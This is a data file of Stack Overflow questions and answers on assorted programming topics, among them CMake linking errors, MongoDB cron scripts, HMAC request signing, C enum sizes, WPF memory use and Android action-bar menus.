10050262	0	 <p><strong>Real problem in short:</strong> Circular library dependency between <code>arch</code> and <code>synergy</code>. Also, <code>base</code> actually wasn't linked to <code>common</code> library (in the CMakeLists.txt for <code>base</code>).</p> <p>Interestingly, this was caused by a configuration problem in the CMakeLists.txt files for the libraries. This had nothing to do with the CMakeLists.txt for the new <code>synergyd</code> application I had added.</p> <p>The problem was that I did not link the libraries to each other where new calls were added to classes in other libraries. However, it seems that there is now a problem with circular linking.</p> <p>For example, I could have added...</p> <pre><code>if (UNIX) target_link_libraries(arch synergy) endif() </code></pre> <p>... to CMakeLists.txt in the <code>arch</code> library, as <code>arch</code> now calls something in the <code>synergy</code> library. But this is invalid, since <code>synergy</code> already calls something in <code>arch</code>.</p> <p>Apparently this doesn't matter on Windows.</p> <p>I'm not quite sure though what caused this to start happening, as it's all old code that has been compiling fine before, and still does in other applications. I suspect most likely something to do with the recent removal of boiler plate from CArch, rather than something that CDaemonApp is doing (or maybe even a combination of both).</p> <h1>Update</h1> <p>Just in case anyone cares ;-) -- I think it is something to do with the relation between the lousy circular library dependency between <code>arch</code> and <code>synergy</code>, combined with the fact that <code>CDaemonApp.cpp</code> wasn't including <code>CApp.h</code> -- meaning that it was included at some other point, causing the weird undefined reference errors.</p> <p>To solve this properly, I have removed the circular dependency, which appeared to be the core of the problem.</p> <h1>Update 2</h1> <p>The code now fully compiles, hurrah! </p> <p>I was still seeing one last error (the topic of this question):</p> <pre><code>[ 90%] Building CXX object src/cmd/synergyd/CMakeFiles/synergyd.dir/synergyd.o Linking CXX executable ../../../../../bin/debug/synergyd ../../../../../lib/debug/libbase.a(CLog.o): In function `CLog::insert(ILogOutputter*, bool)': /home/nick/Projects/synergy/branches/1.4/src/lib/base/CLog.cpp:213: undefined reference to `kAppVersion' collect2: ld returned 1 exit status make[2]: *** [../../bin/debug/synergyd] Error 1 make[1]: *** [src/cmd/synergyd/CMakeFiles/synergyd.dir/all] Error 2 make: *** [all] Error 2 </code></pre> <p>This was simply caused by the <code>base</code> library not linking to the <code>common</code> library. Adding the following code to the CMakeLists.txt file for base fixed this:</p> <pre><code>if (UNIX) target_link_libraries(base common) endif() </code></pre> <p>Still not sure exactly why this started happening, just glad it's fixed.</p> <h1>Update 3</h1> <p>And here's the commit: <a href="http://code.google.com/p/synergy-plus/source/detail?r=1354" rel="nofollow">r1354</a></p>
28374919	0	 <p>Of course super.awakeFromNib() ! Surprisingly my code works fine although when I println(self.image), I still get nil, println(image) non-nil ! Perhaps self.image is released soon it is used to display the image. Anyway it works ! Thank you for the answer</p>
28456280	0	 <p>I was just having this issue with my own program. I turned out that the value I was searching for was not in my reference table. I fixed my reference table, and then the error went away. </p>
34317571	0	how to work around with fusion table styles limited to 5 <p>I have a fusion table. I use the following javascript code to toggle 2 styles.</p> <pre><code>fusionTableLayer.setOptions({ styles: styles1 }); fusionTableLayer.setOptions({ styles: styles2 }); </code></pre> <p>Problem is my style2 has more than 7 styles. But because of the limitation of fusiontable, the 6th and 7th styles doesn't work. How can work around this?</p> <pre><code>stylesIMD = [{ where: 'myVar &lt;= 5', polygonOptions: { fillColor: '#27FF24', } }, { where: 'myVar &gt; 5 AND myVar &lt;= 10', polygonOptions: { fillColor: '#7BFB1E', } }, { where: 'myVar &gt; 10 AND myVar &lt;= 20', polygonOptions: { fillColor: '#D1F71A', } }, { where: 'myVar &gt; 20 AND myVar &lt;= 30', polygonOptions: { fillColor: '#F4C015', } }, { where: 'myVar &gt; 30 AND myVar &lt;= 40', polygonOptions: { fillColor: '#F06110', } }, { where: 'myVar &gt; 40 AND myVar &lt;= 50', polygonOptions: { fillColor: '#ED0B15', } }, { where: 'myVar &gt; 50', polygonOptions: { // fillColor: '#5C0517', strokeWeight: strokeWeight } }]; </code></pre>
29083447	0	 <blockquote> <p>Is there any way to do this for a standard FTP server?</p> </blockquote> <p>No. You can tell the server the position where it should start with the <code>REST</code> (restart) command, but you cannot tell it how much data it should send. All you can do is close the data channel after you've received the amount of data you want. The FTP server will probably complain about this because it received a RST (writing against a closed socket) but in most cases this should not cause problems.</p>
33493114	0	 <p>Try this,</p> <p>on your blade something link below.</p> <pre><code> &lt;div class="col-xs-12 col-sm-12 col-md-6 col-lg-6"&gt; &lt;div class="form-group {{ $errors-&gt;has('name') ? 'has-error' : '' }} control-required"&gt; {!! Form::label('title', 'Title') !!}&lt;span class="mand_star"&gt; *&lt;/span&gt; {!! Form::text('title', isset($news-&gt;title) ? $news-&gt;title : \Input::old('title'), [ 'class' =&gt; 'form-control', 'placeholder' =&gt; 'News Title', 'required' =&gt; 'required' ]) !!} &lt;span class="error_span"&gt; {{ $errors-&gt;first('title') }}&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>On your controller something like.</p> <pre><code>if ($validation-&gt;fails()) { return redirect()-&gt;route('your route path')-&gt;withErrors($validation)-&gt;withInput(); } </code></pre> <p>it works for all individual input fields also fills old data in that field.</p> <p>hope it helps.</p>
25694195	0	 <p>You can use </p> <pre><code>window.history.go(-2) //Go two pages back </code></pre> <p>or the same method twice </p> <pre><code>history.back(); //Go one page back history.back(); //Go another one page back </code></pre>
18092495	0	 <p>Short answer: Your form, lets call it X, needs to post back to A. A can then sign the request and then forward all of this onto B. </p> <p>If you do NOT post back to A, then how does B know that the request came from A? A has no clue what the client, who we will call Zed, sends? A only sent form X to Zed and is no longer involved in the conversation otherwise. </p> <p>Zed, can post anything in X they want to back to A. Zed may be malicious, or Zed may be the victim of a CSRF. However, your question is only that B knows that the request is coming from A. A can validate the input and take appropriate action. If A chooses to accept input form X and sign the request and send to B, B will then know that the request came from A.</p> <p>This idea is similar to what <a href="http://oauth.net/core/1.0a/" rel="nofollow">OAuth 1.0a</a> does. </p> <p>Take all form variables in X and create a URL encoded string with the keys sorted by alpha-numeric sorting. </p> <pre><code>$str = "keyA=&lt;val1&gt;&amp;keyB=&lt;val2&gt;&amp;keyB123=&lt;val3&gt;"; </code></pre> <p>Then hash and sign this. <a href="http://php.net/manual/en/function.hash-hmac.php" rel="nofollow">HMAC-SHA1 is once such algorithm</a> to do this. For the key, you need to generate some random string of characters and numbers. Both A and B should know this value and you should keep it VERY PRIVATE. You can then generate the signature to add to your request to B. </p> <pre><code>$signature = hash_hmac("sha1", $str, $key); </code></pre> <p>B can verify the signature for form X by performing the same steps that you did to create the original <code>$str</code>.</p>
36994942	1	Cron execution of python script not working like expected <p>I have a python script which is executed by cron, it's purpose is to manage messages from users to other users. These messages are stored inside a mongodb database. The script crawls through the messages, looks for the target name, fetches it's _id from the db and stores the message data inside the users message array. After that the message is deleted from the message collection.</p> <p>If I execute the python script manuallly everything works fine, but if Cron runs it the user will not be updated but the message will be deleted.</p> <p>The mongodb server is 2.4.10, I know it's old but it's the latest verion which runs on a raspberry pi 2, afaik. The python version is 2.7.x</p> <pre><code># ... # find all messages in messages collection cursorMsg = db.messages.find({}) # iterate over every key in cursor for keyMsg in cursorMsg: body = keyMsg["body"] about = keyMsg["about"] created_at = keyMsg["created_at"] sender_id = keyMsg["sender_id"] cursorUsrSender = db.users.find({"_id": str(sender_id)}) sender_name = keyMsg["sender_name"] sender_id = keyMsg["sender_id"] to = keyMsg["to"] _id = str(keyMsg["_id"]) # find the user for the message cursorUsrTarget = db.users.find({"username": to}) for keyUsrTarget in cursorUsrTarget: print(keyUsrTarget) usr_target_id = str(keyUsrTarget["_id"]) print(type(keyUsrTarget["messages"])) new_message = { "_id": _id, "created_at": created_at, "about": about, "body": body, "sender_id": sender_id, "sender_name": sender_name, "target_id": usr_target_id } # save the message keyUsrTarget["messages"].append(new_message) db.users.save(keyUsrTarget) # delete the message from message collection db.messages.remove({"_id": keyMsg["_id"]}) </code></pre> <p>Is there a way to wait for the response of the save command or any other way to execute the delete command after a successful save?</p> <p>Dump:</p> <blockquote> <p>{u'username': u'test', u'hash': u'$2a$10$Irwx.S5gwpOOB/gAxHPAv.Fpge9i6H.mEIh.RrAwfLp.qboZwm2sq', u'firstName': u'test', u'lastName': u'test', u'schiffe': [{u'kriegsschiffe': {u'galleone': u'0', u'karacken': u'0'}}, {u'handelsschiffe': {u'koggen': u'0', u'schoner': u'0'}}], u'messages': [], u'fresh_account': u'false', u'test': u'0', u'islands': [{u'buildings': {u'resource_stores': [{u'capacity': u'1', u'level': u'1', u'max_capacity': u'1000', u'attack': u'100', u'health': u'100', u'type': u'Holzspeicher'}, {u'capacity': u'1', u'level': u'1', u'max_capacity': u'1000', u'attack': u'100', u'health': u'100', u'type': u'Steinspeicher'}, {u'capacity': u'1', u'level': u'1', u'max_capacity': u'1000', u'attack': u'100', u'health': u'100', u'type': u'Eisenspeicher'}, {u'capacity': u'1', u'level': u'1', u'max_capacity': u'1000', u'attack': u'100', u'health': u'100', u'type': u'Nahrungsspeicher'}], u'main_buildings': [{u'type': u'Hauptgeb\xe4ude', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'S\xe4gewerk', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'Steinbruch', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'Schmelzofen', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'M\xfchle', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'Hafen', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'Forschungsgeb\xe4ude', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'Handelsdepot', u'attack': u'100', u'health': u'100', u'level': u'1'}, {u'type': u'Fort', u'attack': u'100', u'health': u'100', u'level': u'1'}]}, u'island_name': u'Insel 19', u'coordinates': {u'y': 450, u'x': 250}, u'ocean': 0, u'shape': 67, u'owner': u'test', u'_id': u'57246661e844a270258159f1'}], u'_id': ObjectId('57283a079d3a22c819ca8600')} Message send to user. Message deleted from collection.</p> </blockquote> <p>crontab</p> <pre><code>*/1 * * * * pi ( python /home/py/menage_messages.py &gt;&gt; /home/log/messages.log ) </code></pre>
30667202	0	Convert code of Matlab to Simulink <p>I make one code in matlab to resolve and plot one diferential equation, but my problem now is how to make in simulink:</p> <p>The code of matlab is:</p> <pre><code>function dy = eqdif1(t,y) %y''+4y=sin^2(2x) % with initial values y(pi) = 0,y’(pi) = 0 % y(1)=y y(2)=y' dy = [y(2); (sin(2*t).^2 - 4*y(1))]; clc,clear yp = [0 0]; %initial values options = odeset('RelTol', 1e-4); [t,y]= ode23('eqdif1',[pi pi*3],yp,options); ya=-(1/6)*cos(2.*t)+ (1/4)*(cos(2.*t)).^2-(1/12)*(cos(2.*t)).^4+ (1/12)*(sin(2.*t)).^4; %analitical solution figure plot(t,y(:,1),'-',t,y(:,2),'--',t,ya,'-.') title(['y'''' + 4y = sin^2(2x)']) </code></pre> <p>Anybody can help me, with one example or explication of simulink</p> <p>Thank you</p>
2634538	0	 <p>Why not use <a href="http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html#M002142" rel="nofollow noreferrer">after_create</a> callback and create the feedback in that method?</p>
6259558	0	Where to put WHERE clause? <p>Why can't I put WHERE clause after ORDER BY?</p> <pre><code>SELECT column1 FROM myTable ORDER BY column2 WHERE column2 = 5 </code></pre> <p>Is there any standard reference? Where can i get a SQL standard draft?</p>
35372360	0	 <p>After some more research I found a method that works how I want it to thanks for the advice.</p> <pre><code> public static BackgroundManager Load(string filename) { XmlSerializer Serializer = new XmlSerializer(typeof(BackgroundManager)); LoopAgain: try { using (StreamReader Reader = new StreamReader(filename)) { return Serializer.Deserialize(Reader) as BackgroundManager; } } catch (FileNotFoundException) { XmlSerializer BaseSerializer = new XmlSerializer(typeof(BackgroundManagerSettings)); using (StreamWriter Writer = new StreamWriter(filename)) { BaseSerializer.Serialize(Writer, new BackgroundManager().ToBase()); Writer.Close(); } goto LoopAgain; } catch (InvalidOperationException) { File.Delete(filename); goto LoopAgain; } } public void Save(string filename) { XmlSerializer Serializer = new XmlSerializer(typeof(BackgroundManagerSettings)); using (StreamWriter Writer = new StreamWriter(filename)) { Serializer.Serialize(Writer, this.ToBase()); Writer.Close(); } } private dynamic ToBase() { var Temp = Activator.CreateInstance(typeof(BackgroundManagerSettings)); FieldInfo[] Fields = Temp.GetType().GetFields(BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance); foreach (FieldInfo x in Fields) { x.SetValue(Temp, x.GetValue(this)); } return Temp; } </code></pre>
32587678	0	 <p>There are two logically different sizes you could be talking about: the size of the enum <em>constants</em> associated with a given enum type, or the size of an object whose own type is the enum type. For example, given</p> <pre><code>enum example { ONE, TWO }; enum example enum_variable; </code></pre> <p>the first declaration declares both the type <code>enum example</code> and the constants <code>ONE</code> and <code>TWO</code>.</p> <p>Perhaps surprisingly, the constants do <em>not</em> have type <code>enum example</code>; rather they have type <code>int</code>, and they will therefore consume whatever amount of space an <code>int</code> requires (C99 6.7.2.2/3).</p> <p>On the other hand, <code>enum_variable</code> does have type <code>enum example</code>, and more likely it is actually the size of this type that you hope to affect. C gives some constraints there, but designates the specific choice to be implementation-defined (C99 6.7.2.2/4). That's a bit hopeful because it requires implementations to in fact document their choice, and <a href="https://msdn.microsoft.com/en-us/library/17z041d4%28v=vs.100%29.aspx" rel="nofollow">the VS 2010 docs do so</a> if you drill down far enough. Unfortunately for you, the docs say that a variable of <code>enum</code> type is an <code>int</code>. If the docs are to be believed, then, the size of <code>enum</code> variables is not adjustable in VS 2010.</p>
26658912	0	 <p>Then it is as simple as:</p> <pre><code>$data=getAllData(); $counted = count($data); $i = 1; foreach($data as $row) { . .Processing $i of $counted records . $i++; } </code></pre> <p>And! I strongly recommend you to use PDO. Find documentation <a href="http://php.net/manual/ro/book.pdo.php" rel="nofollow">HERE</a></p> <p>Hope this helps! :D</p>
26217970	0	WPF not releasing memory on certain computers <p>On certain computers I have a WPF application that doesn't release memory when working with it. For instance when sending a document to the printer, on most computers it's releasing memory all the 2-3 seconds (it's going up for maybe 200 megs then coming back down), which is normal behaviour and when the printing is done I go back to my initial memory state.</p> <p>But on some computers (over 20 computers installed and only one is giving me this issue) it's not freeing the memory. It keeps piling up. I don't mind seeing memory going to 1.5 Gb as long as it's releasing it in the end, but it's not and I get an OutOfMemoryException.</p> <p>I don't have full access to the problematic computer (they're a client's computer we installed a week ago and we just saw this problem) so I can't really test it but it's a standard Windows 7 Pro x64, with 10Gb of RAM and aside from that, it's working like a charm.</p> <p>Also it's not ONLY when printing. The application is kind of a PDF viewer and everytime a new page is loaded for the user, the previous page is freed from memory. Again, it's working fine on most PC, but not in these case.</p> <p>Is there anything that could prevent the memory from being released? I can't seem to find a similar problem anywhere on the web.</p> <p>EDIT: Okay I got a hold of the computer for an hour. I was able to test two things :</p> <ol> <li>GC.Collect() didn't arrange anything (I even forced it with GC.WaitForPendingFinalizer)</li> <li>I tried disposing of the DocumentPage in my Paginator, no luck. I also kept a reference of a ViewModel I was using to display my page on printing, I tried disposing it : didn't work.</li> </ol> <p>What I can say is that in both cases it must be because of the images displayed in my pages. Here's the function I call to get a new page image :</p> <pre><code>'First I get the path to the images Dim path As String = String.Format("{0}\{1}.png", Me.TemporaryFolderPath, page.PageId) Dim imgSource As CachedBitmap 'If the file doesn't exist If Not IO.File.Exists(path) Then 'A function is called which creates the png file for next uses (this way the first loading is slow, but the next times it's faster) imgSource = Pdf.GetPageImage(page.PageNumber, path) Else 'If the file exists I instantiate a new BitmapImage Dim img As New BitmapImage 'And I load it in a stream Using stream As IO.FileStream = IO.File.OpenRead(path) 'I apply the stream to my image img.BeginInit() img.CacheOption = BitmapCacheOption.OnLoad img.StreamSource = stream img.EndInit() 'Flush, close, dispose of my stream stream.Flush() stream.Close() End Using 'And I create a CachedBitmap with this image (which is almost like an ImageSource) imgSource = New CachedBitmap(img, BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.OnLoad) img = Nothing End If 'If my ImageSource is something, I freeze it so that the memory is freed afterwards If imgSource IsNot Nothing Then imgSource.Freeze() Return imgSource </code></pre> <p>All this (freezing the image, setting the cacheOption to OnLoad, loading from a stream) I did to avoid memory leaks. My first attempt to load an image has a huge leak and I refactored my function so that I didn't have this problem anymore. </p> <p>Is there anything there that could be the problem?</p>
19868286	0	 <p><code>awk</code> acts like a filter by default. In your case, it's simply blocking on input. Unblock it by explicitly not having input, for example.</p> <pre><code>awk '...' &lt;/dev/null </code></pre>
7736240	0	 <p>I can't see why you don't want to use BootCompleted, could you provide your reasons?</p> <p>There is no other action that will alert your broadcast receiver of the boot. You will have to use BootCompleted.</p> <p>As a note, I hope you are registering you BroadcastReceiver with the context (since you didn't include that code). If you're not using BootComplete, I don't know what action you've registered to expect your above code to execute.</p>
8744821	0	Send php variable into javascript <pre><code>&lt;input type="button" name="Next" id="Next" value="Next" onclick="showNextQuest(&lt;?php echo $_POST ['$qtnid']; ?&gt;)" /&gt; </code></pre> <p>$qtnid is the name of a radio button, i used the post method to know which one among the radio buttons is selected. The radio button has the same name with different values.It return an undefined error when itried to use alert function inside the showNextQuest function in the javascript. plz help me out.</p>
16234919	0	 <p>When no charset is defined in the content-type header of your HTTP request, resteasy assumes 'charset=US-ASCII'. See org.jboss.resteasy.plugins.providers.multipart.InputPart:</p> <pre><code>/** * If there is a content-type header without a charset parameter, charset=US-ASCII * is assumed. * &lt;p&gt; * This can be overwritten by setting a different String value in * {@link org.jboss.resteasy.spi.HttpRequest#setAttribute(String, Object)} * with this ("resteasy.provider.multipart.inputpart.defaultCharset") * String`enter code here` as key. It should be done in a * {@link org.jboss.resteasy.spi.interception.PreProcessInterceptor}. * &lt;/p&gt; */ </code></pre> <p>So, as a work-around you can do the following:</p> <pre><code> @Provider @ServerInterceptor public class CharsetPreProcessInterceptor implements PreProcessInterceptor { @Override public ServerResponse preProcess(HttpRequest request, ResourceMethod method) throws Failure, WebApplicationException { request.setAttribute(InputPart.DEFAULT_CHARSET_PROPERTY, "charset=UTF-8"); return null; } } </code></pre>
28973645	0	How do the parameters in ruby '.each do' for-loops work? <p>What's confusing me in the code below is how the parameters <code>state</code> and <code>abbrev</code> match up with the keys and and the values of the hash? Or in other words, how is <code>state</code> matched up with <code>'oregon'</code> and <code>abbrev</code> with <code>'OR'</code> (if the parameters matched words in the hash, then I could understand that)</p> <p>Are they matched up correctly because the first parameter is paired with the first value in the code block?</p> <pre><code>states = { 'Oregon' =&gt; 'OR', 'Florida' =&gt; 'FL', 'California' =&gt; 'CA', 'New York' =&gt; 'NY', 'Michigan' =&gt; 'MI' } states.each do |state, abbrev| puts "#{state} is abbreviated #{abbrev}" end </code></pre> <p>The output of this code:</p> <pre><code>Oregon is abbreviated OR Florida is abbreviated FL California is abbreviated CA New York is abbreviated NY Michigan is abbreviated MI </code></pre> <p>Sorry for not being able to put my question across clearly, still new to this :S</p> <p>Thanks!</p>
14423464	0	 <p>When you use the initializer list you can omit the (), when using a parameterless constructor. It does not matter with the new Cat() is inside the list or not.</p>
23852942	0	MySQL - Clarifying about Remote Access Security <p>I have installed a mysql instance on a linux machine. I am concerned over potential security issues. Some tables should not be changed by users and some tables should. At present, the following comes up when I write:</p> <pre><code>SELECT host FROM mysql.user WHERE User = 'root'; +--------------------+ | host | +--------------------+ | % | | 127.0.0.1 | | ::1 | | localhost | | 'myname' | +--------------------+ </code></pre> <p>Is the presence of the '%' something to be concerned about? How would I go about setting up the DB so that the data integrity is not compromised? </p>
38888252	0	 <p>Add changeHash: true from where you are redirecting. And then use 'history.back()' or 'history.go(-1)' from your current page. It will only take you 1 page back.</p> <pre><code>$.mobile.changePage("yourpage.html",{ transition: "flip", changeHash: true}); </code></pre>
5861834	0	Chrome browser extensions - hooking into C functions? <p>I'm writing a Chrome extension and some parts of it need to be super high performance. I'm trying to find documentation to see if it's possible to use C extensions within the Chrome extension. Is this currently possible?</p>
17268288	0	What to do when change in one UITableViewCell affect how other cell works? <p>Say I choose to follow or bookmark a catalog. All catalogs that share the same parent will be bookmarked too.</p> <p>After a call to <code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath</code> things will sort of fixed.</p> <p>The thing is <code>cellForRowAtIndexPath</code> is not called until the visible cells become unvisible and then visible again.</p> <p>How do I make visible Cells to refresh again?</p>
2248224	0	 <p>If you want to get the name/id from a selection</p> <pre><code>$().attr('name') $().attr('id') </code></pre> <p>or for selecting element(s)</p> <pre><code>$('*[name="somename"]') $('#someid') </code></pre>
13100760	0	 <p>As i remember a limitation for request to google maps api is 250 per day for one application. I also remeber that google can stop responce when you send to many request for some part of time. Tell what string did you get from google maps api with this 26th point?</p>
6781871	0	 <p>You could try an imaging library like ImageFX, or for an open-source one, try <a href="http://graphics32.org/wiki/" rel="nofollow">Graphics32</a>, or the <a href="http://imaginglib.sourceforge.net/index.php?page=down" rel="nofollow">VampyreImagingLIbrary</a>, according to its Docs <a href="http://galfar.vevb.net/imaging/doc/imaging.html" rel="nofollow">here</a> it supports some operations like drawing lines and rectangles over an image loaded into a buffer. I would expect scanner (image processing) libraries to support grey-scale images better than non-imaging libraries, but I don't expect scanner image processing libraries to be in-memory based. </p> <p>But if you wanted to do the work directly in a visible buffer (You mention TCanvas), and you you are willing to limit yourself to Delphi XE, and Windows 7 only, you could use a Direct2D context, which supports 16 and 32 bit depths but as a 32 bit color depth is still only going to be 8 bit depth with respect to a grayscale image, I think that all normal non-greyscale graphics libraries are going to lose some information on you.</p> <p>If you didn't mind using something a bit old, and a bit tied to Microsoft Windows, you could investigate using DirectDraw style (now merged into <a href="http://msdn.microsoft.com/en-us/directx/aa937781" rel="nofollow">DirectX</a>) both to do the Buffer management (hold the 16 bit data) and letting you draw onto it, as well. I am not aware of it having any special support for 16 bit grayscale images though.</p> <p>Interestingly, <a href="http://stackoverflow.com/questions/1105066/wpf-image-and-directx-surfaceformat">WPF</a> has support for 16 bit grayscale natively. If you could find out how they do it, you could ape the technique in Delphi. That link also discusses using OpenGL to do 16 bit luminance, but there's no suggestion from the question that OpenGL allows that. I have found people trying to use <a href="https://forums.codegear.com/message.jspa?messageID=226578" rel="nofollow">OpenGL</a> for medical applications written in delphi (16 bit grayscale) image display, but no reference to modifying the image in memory.</p>
31106674	0	 <p><code>ViewPatterns</code> is probably the way to go here. Your code doesn't work because you need to call <code>viewl</code> or <code>viewr</code> on your <code>Seq</code> first to get something of type <code>ViewL</code> or <code>ViewR</code>. <code>ViewPatterns</code> can handle that pretty nicely:</p> <pre><code>{-# LANGUAGE ViewPatterns #-} foo (S.viewl -&gt; S.EmptyL) = ... -- empty on left foo (S.viewl -&gt; (x S.:&lt; xs)) = ... -- not empty on left </code></pre> <p>Which is equivalent to something like:</p> <pre><code>foo seq = case S.viewl seq of S.EmptyL -&gt; ... (x S.:&lt; xs) -&gt; ... </code></pre>
25744161	0	Can we change in method signature which will work for previous signature in Axis2 <p>I have a webservice with signature public String <code>m1(String s1, String s2)</code> and I wanted to update this signature to public String <code>m1(String s1, String s2, Object... args)</code>. Will it work for client calling <code>m1(String s1, String s2)</code>? Will it be a backword compatible? </p> <p>I tried calling but it is throwing an exception as:</p> <pre><code>Exception in thread "main" java.lang.AbstractMethodError: SampleService.m1(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; at TestWsClient.main(TestWsClient.java:24) </code></pre>
13955869	0	put some text on jvectormap <p>I'm using the jvectormap plugin and I would like to know if there is a way to put some text directly on the map, like the country's names for example ?</p> <p>thanks !</p>
40307086	0	 <p>The gradient you see comes from safari default style. </p> <p>You can remove it with <code>-webkit-appearance:none;</code></p> <hr> <p>Read more about <strong>-webkit-appearance</strong> <strong><a href="http://trentwalton.com/2010/07/14/css-webkit-appearance/" rel="nofollow">here</a></strong></p>
2385186	0	Check if Internet Connection Exists with Ruby? <p>Just asked how to <a href="http://stackoverflow.com/questions/2384167/check-if-internet-connection-exists-with-javascript">check if an internet connection exists using javascript</a> and got some great answers. What's the easiest way to do this in Ruby? In trying to make generated html markup code as clean as possible, I'd like to conditionally render the script tag for javascript files depending on whether or not an internet condition. Something like (this is HAML):</p> <pre><code>- if internet_connection? %script{:src =&gt; "http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js", :type =&gt; "text/javascript"} - else %script{:src =&gt; "/shared/javascripts/jquery/jquery.js", :type =&gt; "text/javascript"} </code></pre>
20460001	0	For loop is not executed <p>Why isn't this loop executed? At runtime woord.length() is equal to 5.</p> <pre><code>for (int j = woord.length(); j &lt;= 0; j--) { //do some magic things here } </code></pre>
35314166	0	 <p>Try the following:</p> <pre><code>SELECT ECDSlides.[Supplier Code], ECDSlides.[Supplier Name], ECDSlides.Commodity FROM ECDSlides LEFT JOIN (ECDSlides.Commodity = [Mit Task Details2].Commodity) AND (ECDSlides.[Supplier Code] = [Mit Task Details2].[Supplier Code]) WHERE [Mit Task Details2].Commodity Is Null; </code></pre>
8020748	0	IndicatingAjaxButton works only once <p>I have derived a class from IndicatingAjaxButton (which is the button to a form). But the IAjaxIndicatorAware does only work once, i.e. if the validation of the form fails I print feedback messages within the form. During the 1st request the "onProgress-Circle" is shown. But if I click on the button again (after I made the right input on the form), there is no "onProgress-Circle" anymore. </p> <p>I took a look in the generated HTML: 1) Before the first click, there is a img tag, which gets displayed when the request is started 2) After the first request is processed, this img tag is removed. </p> <p>This are the evaluation steps that are returned from the server:</p> <pre><code>&lt;evaluate&gt;&lt;![CDATA[var e = Wicket.$('previouse--ajax-indicator'); if (e != null &amp;&amp; typeof(e.parentNode) != 'undefined') e.parentNode.removeChild(e);]]&gt;&lt;/evaluate&gt; </code></pre> <p>This I guess leads to removing all childs from the button, also the img tag. Is this a bug or do I use the button in a wrong way?</p> <p>I use Wicket 1.5</p> <p>Thanks and kind regards, Soccertrash</p>
12756187	0	 <p>You are overflowing the max value that can be stored in an int which is 2,147,483,647.</p> <p>When calculating the numerator in your equation you are doing ((39258-0)*(99999-0)) which is 3,925,760,742. </p> <p>If you change it to this you won't have this issue:</p> <pre><code>long numerator = (long)(toFind - sortedArray[low]) * (long)(high - low); mid = low + numerator / (sortedArray[high] - sortedArray[low]); </code></pre> <p>I think you also need to change your while loop to be:</p> <pre><code>while (sortedArray[low] &lt; toFind &amp;&amp; sortedArray[high] &gt;= toFind) { </code></pre> <p>Otherwise you have a situation where sortedArray[low] == sortedArray[high] == toFind</p> <p>Then your equation reduces to</p> <pre><code>mid = low + (0 * (high - low)) / 0 = 0/0 </code></pre> <p>Java allows division by zero. I'm not exactly sure what happens though, it may be that in this case mid = infinity or NaN.</p>
38742645	0	 <pre><code>$http.post( authUrl+'/things', $.param(requestData), { headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' } } ) .success(function(data, status){ deffered.resolve(data, status); }).error(function(data,status){ }); </code></pre> <p>Refer this.</p>
36823661	0	make input file variable <p>I will like to get this script process csv files <code>"$inputFilename = 'westmike1.csv';"</code> with different names, when a import link to the file is click. At the moment I can go beyond process one file, and for me to use this script at that it will make me duplicate them. </p> <p>Please I need an advice on this thanks.</p> <pre><code>error_reporting(E_ALL | E_STRICT); ini_set('display_errors', true); ini_set('auto_detect_line_endings', true); $inputFilename = 'westmike1.csv'; $outputFilename = 'westmike1.xml'; // Open csv to read $inputFile = fopen($inputFilename, 'rt'); // Get the headers of the file $headers = fgetcsv($inputFile); // Create a new dom document with pretty formatting $doc = new DomDocument(); $doc-&gt;formatOutput = true; // Add a root node to the document $root = $doc-&gt;createElement('rows'); $root = $doc-&gt;appendChild($root); // Loop through each row creating a &lt;row&gt; node with the correct data while (($row = fgetcsv($inputFile)) !== FALSE) { $container = $doc-&gt;createElement('row'); foreach ($headers as $i =&gt; $header) { $child = $doc-&gt;createElement($header); $child = $container-&gt;appendChild($child); $value = $doc-&gt;createTextNode($row[$i]); $value = $child-&gt;appendChild($value); } $root-&gt;appendChild($container); } $strxml = $doc-&gt;saveXML(); $handle = fopen($outputFilename, "w"); fwrite($handle, $strxml); fclose($handle); $xml = simplexml_load_file('westmike1.xml') or die("ERROR: Cannot create SimpleXML object"); // open MySQL connection $connection = mysqli_connect("localhost", "mikeshop", "sho****", "mike_shop") or die ("ERROR: Cannot connect"); // process node data // create and execute INSERT queries </code></pre>
20094711	0	 <p>We can use sub-menu model. So, we don't need to write method for showing popup menu, it will be showing automacally. Have a look:</p> <p>menu.xml</p> <pre><code>&lt;menu xmlns:android="http://schemas.android.com/apk/res/android" &gt; &lt;item android:id="@+id/action_more" android:icon="@android:drawable/ic_menu_more" android:orderInCategory="1" android:showAsAction="always" android:title="More"&gt; &lt;menu&gt; &lt;item android:id="@+id/action_one" android:icon="@android:drawable/ic_popup_sync" android:title="Sync"/&gt; &lt;item android:id="@+id/action_two" android:icon="@android:drawable/ic_dialog_info" android:title="About"/&gt; &lt;/menu&gt; &lt;/item&gt; &lt;/menu&gt; </code></pre> <p>in MainActivity.java</p> <pre><code>@Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } </code></pre> <p>The result is:</p> <p><a href="https://i.stack.imgur.com/xD9Cj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xD9Cj.png" alt="Result"></a></p>
10946503	0	 <p>I didn't realise this, and now I feel quite stupid. However, maybe someone who is just starting out will be able to save themselves a few minutes of head-bashing by this answer.</p> <p>It turns out that changes to the database.yml file are only applied once the apache service is restarted/reloaded. Everything is working fine now.</p>
